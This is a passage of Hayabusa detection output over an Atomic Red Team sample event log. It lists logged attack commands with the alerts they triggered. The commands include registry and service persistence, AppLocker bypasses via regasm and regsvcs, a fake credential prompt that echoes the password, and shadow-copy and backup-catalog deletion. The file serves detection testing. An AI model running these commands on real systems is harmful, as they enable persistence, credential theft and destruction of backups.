AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:08.307 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.150 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe stop AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.176 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe stop AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe stop AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.176 +09:00,MSEDGEWIN10,1,low,Stop Windows Service,,rules/sigma/process_creation/win_service_stop.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.253 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe delete AtomicTestService"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.278 +09:00,MSEDGEWIN10,1,high,Process Creation Sysmon Rule Alert,"Rule: Persistence or Exec - Services Management : Command: sc.exe delete AtomicTestService : Path: C:\Windows\System32\sc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""sc.exe delete AtomicTestService""",rules/hayabusa/sysmon/alerts/1_ProcessCreationSysmonAlert.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:09.351 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:32.101 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : Path: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.219 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.219 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /t REG_SZ /F /D C:\Path\AtomicRedTeam.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,medium,Direct Autorun Keys Modification,,rules/sigma/process_creation/win_susp_direct_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.258 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.292 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.330 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.349 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE "" ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Atomic"" Red ""Team /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.371 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:44:53.402 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.075 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "" C:\Path\AtomicRedTeam.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.075 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d C:\Path\AtomicRedTeam.dll : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "" C:\Path\AtomicRedTeam.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,medium,Direct Autorun Keys Modification,,rules/sigma/process_creation/win_susp_direct_asep_reg_keys_modification.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.137 +09:00,MSEDGEWIN10,1,medium,Reg Add RUN Key,,rules/sigma/process_creation/win_reg_add_run_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.161 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.196 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.213 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""REG DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.240 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:06.267 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:19.483 +09:00,MSEDGEWIN10,13,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:24.234 +09:00,MSEDGEWIN10,12,medium,CurrentVersion Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:31.287 +09:00,MSEDGEWIN10,11,low,Startup Folder File Write,,rules/sigma/file_event/sysmon_startup_folder_file_write.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:31.287 +09:00,MSEDGEWIN10,11,high,PowerShell Writing Startup Shortcuts,,rules/sigma/file_event/sysmon_powershell_startup_shortcuts.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.034 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.105 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.621 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 ""/OUT:C:\Users\IEUser\AppData\Local\Temp\RESBED6.tmp"" ""c:\AtomicRedTeam\CSC5779B24A646D409A951966A058ABC4E3.TMP"" : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library C:\AtomicRedTeam\atomics\T1121\src\T1121.cs",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.681 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.681 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.699 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U T1121.dll""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:55.699 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:56.033 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""del T1121.dll"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:45:56.069 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.052 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"" /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk C:\AtomicRedTeam\atomics\T1121\src\T1121.cs : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.443 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 ""/OUT:C:\Users\IEUser\AppData\Local\Temp\RES1BEA.tmp"" ""c:\AtomicRedTeam\CSC8EBD65DB33242A1BAD76494F485AF42.TMP"" : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"" /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk C:\AtomicRedTeam\atomics\T1121\src\T1121.cs",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.484 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"" T1121.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:19.484 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.883 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;}"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.957 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;} : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""powershell.exe -command { = System.Management.Automation.Internal.Host.InternalHost.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName); echo .GetNetworkCredential().Password;}""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:46:51.957 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:21.972 +09:00,MSEDGEWIN10,13,medium,CurrentControlSet Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentcontrolset.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.096 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.127 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg.exe import c:\AtomicRedTeam\atomics\T1103\T1103.reg""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.147 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.147 +09:00,MSEDGEWIN10,13,medium,New DLL Added to AppInit_DLLs Registry Key,,rules/sigma/registry_event/sysmon_new_dll_added_to_appinit_dlls_registry_key.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.168 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:37.215 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.691 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe delete shadows /all /quiet"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.706 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: vssadmin.exe delete shadows /all /quiet : Path: C:\Windows\System32\vssadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""vssadmin.exe delete shadows /all /quiet""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.706 +09:00,MSEDGEWIN10,1,critical,Shadow Copies Deletion Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:40.863 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.585 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""wbadmin.exe delete catalog -quiet"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.585 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wbadmin.exe delete catalog -quiet : Path: C:\Windows\System32\wbadmin.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""wbadmin.exe delete catalog -quiet""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,critical,Shadow Copies Deletion Using Operating Systems Utilities,,rules/sigma/process_creation/win_shadow_copies_deletion.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.624 +09:00,MSEDGEWIN10,1,critical,WannaCry Ransomware,,rules/sigma/process_creation/win_malware_wannacry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:47:45.773 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\wbengine.exe"" : Path: C:\Windows\System32\wbengine.exe : User: NT AUTHORITY\SYSTEM : Parent Command: 